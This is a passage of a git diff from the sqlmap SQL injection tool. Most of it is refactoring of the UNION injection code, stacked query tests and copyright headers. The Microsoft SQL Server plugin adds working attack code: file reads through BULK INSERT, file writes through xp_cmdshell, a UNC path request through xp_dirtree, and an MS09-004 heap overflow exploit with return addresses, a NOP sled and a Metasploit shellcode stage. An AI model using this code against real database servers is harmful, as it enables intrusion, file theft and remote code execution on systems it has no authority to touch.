else: - negLogMsg = "full" - - infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg - infoMsg += "'%s'" % kb.injParameter - logger.info(infoMsg) - - # For each column of the table (# of NULL) perform a request using - # the UNION ALL SELECT statement to test it the target url is - # affected by an exploitable inband SQL injection vulnerability - for exprPosition in range(0, kb.unionCount): - # Prepare expression with delimiters - randQuery = randomStr() - randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) - randQueryUnescaped = unescaper.unescape(randQueryProcessed) - - if len(randQueryUnescaped) > len(expression): - blankCount = len(randQueryUnescaped) - len(expression) - expression = (" " * blankCount) + expression - elif len(randQueryUnescaped) < len(expression): - blankCount = len(expression) - len(randQueryUnescaped) - randQueryUnescaped = (" " * blankCount) + randQueryUnescaped - - # Forge the inband SQL injection request - query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) - payload = agent.payload(newValue=query, negative=negative) - - # Perform the request - resultPage, _ = Request.queryPage(payload, content=True) - reqCount += 1 - - # We have to assure that the randQuery value is not within the - # HTML code of the result page because, for instance, it is there - # when the query is wrong and the back-end DBMS is Microsoft SQL - # server - htmlParsed = htmlParser(resultPage) - - if randQuery in resultPage and not htmlParsed: - setUnion(position=exprPosition) - - break - - if isinstance(kb.unionPosition, int): - infoMsg = "the target url is affected by an exploitable " - infoMsg += "%s inband sql injection vulnerability" % negLogMsg - logger.info(infoMsg) - else: - warnMsg = "the target url is not affected by an exploitable " - warnMsg += "%s inband sql injection vulnerability" % negLogMsg - - if negLogMsg == "partial": - warnMsg += ", sqlmap will retrieve the query output " - warnMsg += "through blind sql injection technique" - - logger.warn(warnMsg) - - -def unionUse(expression, direct=False, unescape=True, resetCounter=False): +def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an @@ -138,28 +74,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False): # Prepare expression with delimiters if unescape: - expression = agent.concatQuery(expression) + expression = agent.concatQuery(expression, unpack) expression = unescaper.unescape(expression) - # Confirm the inband SQL injection and get the exact column - # position only once - if not isinstance(kb.unionPosition, int): - __unionPosition(expression) - - # Assure that the above function found the exploitable full inband - # SQL injection position - if not isinstance(kb.unionPosition, int): - __unionPosition(expression, True) - - # Assure that the above function found the exploitable partial - # inband SQL injection position - if not isinstance(kb.unionPosition, int): - return - else: - conf.paramNegative = True - - if conf.paramNegative == True and direct == False: - _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) + if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False: + _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " @@ -300,11 +219,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False): else: # Forge the inband SQL injection request - query = agent.forgeInbandQuery(expression) + query = agent.forgeInbandQuery(expression, nullChar=nullChar) payload = agent.payload(newValue=query) - infoMsg = "query: %s" % query - logger.info(infoMsg) + debugMsg = "query: %s" % query + logger.debug(debugMsg) # Perform the request resultPage, _ = Request.queryPage(payload, content=True) @@ -321,7 +240,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False): duration = int(time.time() - start) - infoMsg = "performed %d queries in %d seconds" % (reqCount, duration) - logger.info(infoMsg) + debugMsg = "performed %d queries in %d seconds" % (reqCount, duration) + logger.debug(debugMsg) return value diff --git a/lib/techniques/outband/__init__.py b/lib/techniques/outband/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/techniques/outband/__init__.py +++ b/lib/techniques/outband/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/techniques/outband/stacked.py b/lib/techniques/outband/stacked.py index a71c7fa25..053c9f1b3 100644 --- a/lib/techniques/outband/stacked.py +++ b/lib/techniques/outband/stacked.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -26,24 +26,28 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import time +from lib.core.common import getDelayQuery +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.data import queries -from lib.core.settings import SECONDS +from lib.core.session import setStacked from lib.request import inject def stackedTest(): + if kb.stackedTest != None: + return kb.stackedTest + infoMsg = "testing stacked queries support on parameter " infoMsg += "'%s'" % kb.injParameter logger.info(infoMsg) - query = queries[kb.dbms].timedelay % SECONDS - start = time.time() - payload, _ = inject.goStacked(query) - duration = int(time.time() - start) + query = getDelayQuery() + start = time.time() + payload, _ = inject.goStacked(query) + duration = int(time.time() - start) - if duration >= SECONDS: + if duration >= conf.timeSec: infoMsg = "the web application supports stacked queries " infoMsg += "on parameter '%s'" % kb.injParameter logger.info(infoMsg) @@ -57,4 +61,6 @@ def stackedTest(): kb.stackedTest = False + setStacked() + return kb.stackedTest diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/utils/google.py b/lib/utils/google.py index 6613d414e..0edd49bcd 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py index 64f35795f..54813f8b6 100644 --- a/lib/utils/parenthesis.py +++ b/lib/utils/parenthesis.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/utils/resume.py b/lib/utils/resume.py index f2adb41ab..37c9e7067 100644 --- a/lib/utils/resume.py +++ b/lib/utils/resume.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/plugins/__init__.py b/plugins/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py index 633b6a3c5..5b599cda6 100644 --- a/plugins/dbms/mssqlserver.py +++ b/plugins/dbms/mssqlserver.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -24,42 +24,54 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os import time from lib.core.agent import agent +from lib.core.common import dataToOutFile from lib.core.common import dataToStdout from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp +from lib.core.common import getRange from lib.core.common import randomInt +from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.convert import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_SYSTEM_DBS +from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request +from lib.techniques.outband.stacked import stackedTest from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover -class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): +class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods """ def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS + Enumeration.__init__(self, "Microsoft SQL Server") + Filesystem.__init__(self) + Takeover.__init__(self) unescaper.setUnescape(MSSQLServerMap.unescape) @@ -128,7 +140,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): if wsOsFp: value += "%s\n" % wsOsFp - if self.banner: + if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: @@ -168,41 +180,55 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) - self.getPrematureBanner("@@VERSION") + self.getBanner() if not conf.extensiveFp: + kb.os = "Windows" + return True - logMsg = "testing Microsoft SQL Server" - logger.info(logMsg) + infoMsg = "testing Microsoft SQL Server" + logger.info(infoMsg) payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") result = Request.queryPage(payload) if result == True: - logMsg = "confirming Microsoft SQL Server" - logger.info(logMsg) + infoMsg = "confirming Microsoft SQL Server" + logger.info(infoMsg) for version in ( 0, 5, 8 ): - payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version) + payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version) result = Request.queryPage(payload) if result == True: if version == 8: - kb.dbmsVersion = ["2008"] - elif version == 5: - kb.dbmsVersion = ["2005"] - elif version == 0: - kb.dbmsVersion = ["2000"] + kb.dbmsVersion = [ "2008" ] - break + break + + elif version == 5: + kb.dbmsVersion = [ "2005" ] + + break + + else: + payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7") + result = Request.queryPage(payload) + + if result == True: + kb.dbmsVersion = [ "7.0" ] + + break if kb.dbmsVersion: setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) else: setDbms("Microsoft SQL Server") - self.getPrematureBanner("@@VERSION") + self.getBanner() + + kb.os = "Windows" return True else: @@ -212,6 +238,85 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): return False + def checkDbmsOs(self, detailed=False): + if kb.os and kb.osVersion and kb.osSP: + return + + if not kb.os: + kb.os = "Windows" + + if detailed == False: + return + + infoMsg = "fingerprinting the back-end DBMS operating system " + infoMsg += "version and service pack" + logger.info(infoMsg) + + infoMsg = "the back-end DBMS operating system is %s" % kb.os + + self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") + inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) + + versions = { + "2003": ( "5.2", ( 2, 1 ) ), + #"2003": ( "6.0", ( 2, 1 ) ), + "2008": ( "7.0", ( 1, ) ), + "2000": ( "5.0", ( 4, 3, 2, 1 ) ), + "XP": ( "5.1", ( 2, 1 ) ), + "NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) ) + } + + # Get back-end DBMS underlying operating system version + for version, data in versions.items(): + query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Windows NT " + data[0] + "%')>0" + query = agent.forgeCaseStatement(query) + + if inject.getValue(query, charsetType=1) == "1": + kb.osVersion = version + infoMsg += " %s" % kb.osVersion + + break + + if not kb.osVersion: + kb.osVersion = "2003" + kb.osSP = 2 + + warnMsg = "unable to fingerprint the underlying operating " + warnMsg += "system version, assuming it is Windows " + warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) + logger.warn(warnMsg) + + self.cleanup(onlyFileTbl=True) + + return + + # Get back-end DBMS underlying operating system service pack + sps = versions[kb.osVersion][1] + + for sp in sps: + query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Service Pack " + str(sp) + "%')>0" + query = agent.forgeCaseStatement(query) + + if inject.getValue(query, charsetType=1) == "1": + kb.osSP = sp + break + + if not kb.osSP: + debugMsg = "assuming the operating system has no service pack" + logger.debug(debugMsg) + + kb.osSP = 0 + + if kb.osVersion: + infoMsg += " Service Pack %d" % kb.osSP + + logger.info(infoMsg) + + self.cleanup(onlyFileTbl=True) + + def getPrivileges(self): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges" @@ -221,29 +326,29 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): def getTables(self): - logMsg = "fetching tables" + infoMsg = "fetching tables" if conf.db: - logMsg += " for database '%s'" % conf.db - logger.info(logMsg) + infoMsg += " for database '%s'" % conf.db + logger.info(infoMsg) rootQuery = queries[kb.dbms].tables if not conf.db: - if not len(self.cachedDbs): + if not len(kb.data.cachedDbs): dbs = self.getDbs() else: - dbs = self.cachedDbs + dbs = kb.data.cachedDbs else: if "," in conf.db: dbs = conf.db.split(",") else: dbs = [conf.db] - if conf.unionUse: + if kb.unionPosition: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: - logMsg = "skipping system database '%s'" % db - logger.info(logMsg) + infoMsg = "skipping system database '%s'" % db + logger.info(infoMsg) continue @@ -251,22 +356,22 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): value = inject.getValue(query, blind=False) if value: - self.cachedTables[db] = value + kb.data.cachedTables[db] = value - if not self.cachedTables: + if not kb.data.cachedTables: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: - logMsg = "skipping system database '%s'" % db - logger.info(logMsg) + infoMsg = "skipping system database '%s'" % db + logger.info(infoMsg) continue - logMsg = "fetching number of tables for " - logMsg += "database '%s'" % db - logger.info(logMsg) + infoMsg = "fetching number of tables for " + infoMsg += "database '%s'" % db + logger.info(infoMsg) query = rootQuery["blind"]["count"] % db - count = inject.getValue(query, inband=False) + count = inject.getValue(query, inband=False, charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of " @@ -282,14 +387,330 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): tables.append(table) if tables: - self.cachedTables[db] = tables + kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) - if not self.cachedTables: + if not kb.data.cachedTables: errMsg = "unable to retrieve the tables for any database" raise sqlmapNoneDataException, errMsg - return self.cachedTables + return kb.data.cachedTables + + + def unionReadFile(self, rFile): + errMsg = "Microsoft SQL Server does not support file reading " + errMsg += "with UNION query SQL injection technique" + raise sqlmapUnsupportedFeatureException, errMsg + + + def stackedReadFile(self, rFile): + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + result = [] + txtTbl = self.fileTblName + hexTbl = "%shex" % self.fileTblName + + self.createSupportTbl(txtTbl, self.tblField, "text") + inject.goStacked("DROP TABLE %s" % hexTbl) + inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) + + logger.debug("loading the content of file '%s' into support table" % rFile) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + + # Reference: http://support.microsoft.com/kb/104829 + binToHexQuery = """ + DECLARE @charset VARCHAR(16) + DECLARE @counter INT + DECLARE @hexstr VARCHAR(4096) + DECLARE @length INT + DECLARE @chunk INT + + SET @charset = '0123456789ABCDEF' + SET @counter = 1 + SET @hexstr = '' + SET @length = (SELECT DATALENGTH(%s) FROM %s) + SET @chunk = 1024 + + WHILE (@counter <= @length) + BEGIN + DECLARE @tempint INT + DECLARE @firstint INT + DECLARE @secondint INT + + SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) + SET @firstint = floor(@tempint/16) + SET @secondint = @tempint - (@firstint * 16) + SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) + + SET @counter = @counter + 1 + + IF @counter %% @chunk = 0 + BEGIN + INSERT INTO %s(%s) VALUES(@hexstr) + SET @hexstr = '' + END + END + + IF @counter %% (@chunk) != 0 + BEGIN + INSERT INTO %s(%s) VALUES(@hexstr) + END + """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) + + binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") + binToHexQuery = urlencode(binToHexQuery, convall=True) + inject.goStacked(binToHexQuery) + + if kb.unionPosition: + result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False) + + if not result: + result = [] + count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2) + + if not count.isdigit() or not len(count) or count == "0": + errMsg = "unable to retrieve the content of the " + errMsg += "file '%s'" % rFile + raise sqlmapNoneDataException, errMsg + + indexRange = getRange(count) + + for index in indexRange: + chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3) + result.append(chunk) + + inject.goStacked("DROP TABLE %s" % hexTbl) + + return result + + + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): + errMsg = "Microsoft SQL Server does not support file upload with " + errMsg += "UNION query SQL injection technique" + raise sqlmapUnsupportedFeatureException, errMsg + + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + # NOTE: this is needed here because we use xp_cmdshell extended + # procedure to write a file on the back-end Microsoft SQL Server + # file system. Maybe it won't be required to write text files + self.initEnv() + + self.getRemoteTempPath() + + debugMsg = "going to use xp_cmdshell extended procedure to write " + debugMsg += "the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + debugSize = 0xFF00 + tmpPath = conf.tmpPath.replace("/", "\\") + dFileName = os.path.split(dFile)[1] + dFile = dFile.replace("/", "\\") + wFileSize = os.path.getsize(wFile) + wFilePointer = open(wFile, "rb") + wFileContent = wFilePointer.read() + wFilePointer.close() + + if wFileSize < debugSize: + chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath) + sFile = "%s\%s" % (tmpPath, dFileName) + + logger.debug("moving binary file %s to %s" % (sFile, dFile)) + + commands = ( + "cd %s" % tmpPath, + "ren %s %s" % (chunkName, dFileName), + "move /Y %s %s" % (dFileName, dFile) + ) + complComm = " & ".join(command for command in commands) + forgedCmd = self.xpCmdshellForgeCmd(complComm) + + self.execCmd(forgedCmd) + + else: + infoMsg = "the %s file is bigger than %d " % (fileType, debugSize) + infoMsg += "bytes. sqlmap will split it into chunks, upload " + infoMsg += "them and recreate the original file out of the " + infoMsg += "binary chunks server-side, wait.." + logger.info(infoMsg) + + counter = 1 + + for i in range(0, wFileSize, debugSize): + wFileChunk = wFileContent[i:i+debugSize] + chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath) + + if i == 0: + infoMsg = "renaming chunk " + copyCmd = "ren %s %s" % (chunkName, dFileName) + else: + infoMsg = "appending chunk " + copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) + + infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) + logger.debug(infoMsg) + + commands = ( + "cd %s" % tmpPath, + copyCmd, + "del /F %s" % chunkName + ) + complComm = " & ".join(command for command in commands) + forgedCmd = self.xpCmdshellForgeCmd(complComm) + + self.execCmd(forgedCmd) + + logger.info("file chunk %d written" % counter) + + counter += 1 + + sFile = "%s\%s" % (tmpPath, dFileName) + + logger.debug("moving binary file %s to %s" % (sFile, dFile)) + + commands = ( + "cd %s" % tmpPath, + "move /Y %s %s" % (dFileName, dFile) + ) + complComm = " & ".join(command for command in commands) + forgedCmd = self.xpCmdshellForgeCmd(complComm) + + self.execCmd(forgedCmd) + + if confirm == True: + self.askCheckWrittenFile(wFile, dFile, fileType) + + + def uncPathRequest(self): + #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) + inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) + + + def overflowBypassDEP(self): + # TODO: use 'sc' to: + # * Get the SQL Server 'Service name' (usually MSSQLSERVER) + # * Detect the absolute SQL Server executable file path + # + # References: + # * http://www.ss64.com/nt/sc.html + # * http://www.ss64.com/nt/for_cmd.html + self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe") + + if self.bypassDEP == False: + return + + logger.info("restarting Microsoft SQL Server, wait..") + time.sleep(15) + # TODO: use 'sc' to: + # * Warn the user that sqlmap needs to restart the SQL Server + # service, ask for confirmation + # * Stop the SQL Server service (after handling DEP) + # * Start the SQL Server service (after handling DEP) + + # Another way to restart MSSQL consists of writing a bat file with + # the following text: + # + #@ECHO OFF + #NET STOP MSSQLSERVER + #NET START MSSQLSERVER + # + # Then run the following statement and wait a few seconds: + # + # exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat' + + + def spHeapOverflow(self): + """ + References: + * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx + * http://support.microsoft.com/kb/959420 + """ + + returns = { + "2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll) + "2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll) + } + retAddr = None + + for version, data in returns.items(): + sp = data[0] + address = data[1] + + if kb.osVersion == version and kb.osSP == sp: + retAddr = address + + break + + if retAddr == None: + errMsg = "sqlmap can not exploit the stored procedure buffer " + errMsg += "overflow because it does not have a valid return " + errMsg += "code for the underlying operating system (Windows " + errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) + raise sqlmapUnsupportedFeatureException, errMsg + + self.spExploit = """ + DECLARE @buf NVARCHAR(4000), + @val NVARCHAR(4), + @counter INT + SET @buf = ' + declare @retcode int, + @end_offset int, + @vb_buffer varbinary, + @vb_bufferlen int + exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' + SET @val = CHAR(0x41) + SET @counter = 0 + WHILE @counter < 3320 + BEGIN + SET @counter = @counter + 1 + IF @counter = 411 + BEGIN + /* Return address */ + SET @buf = @buf + %s + + /* Nopsled */ + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + + /* Metasploit shellcode stage 1 */ + SET @buf = @buf + %s + + /* Unroll the stack and return */ + CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ + CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ + CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ + CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ + CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ + CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ + CHAR(0xc3) + + SET @counter = @counter + 302 + SET @val = CHAR(0x43) + CONTINUE + END + SET @buf = @buf + @val + END + SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' + EXEC master..sp_executesql @buf + """ % (retAddr, self.shellcodeChar) + + self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") + self.spExploit = urlencode(self.spExploit, convall=True) + + logger.info("triggering the buffer overflow vulnerability, wait..") + inject.goStacked(self.spExploit, silent=True) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index e6b0e8d07..41a6b2906 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -24,43 +24,52 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os import re from lib.core.agent import agent from lib.core.common import fileToStr from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint -from lib.core.common import getDirectories from lib.core.common import getHtmlErrorFp from lib.core.common import randomInt +from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapSyntaxException from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_SYSTEM_DBS -from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request +from lib.techniques.inband.union.test import unionTest +from lib.techniques.inband.union.use import unionUse +from 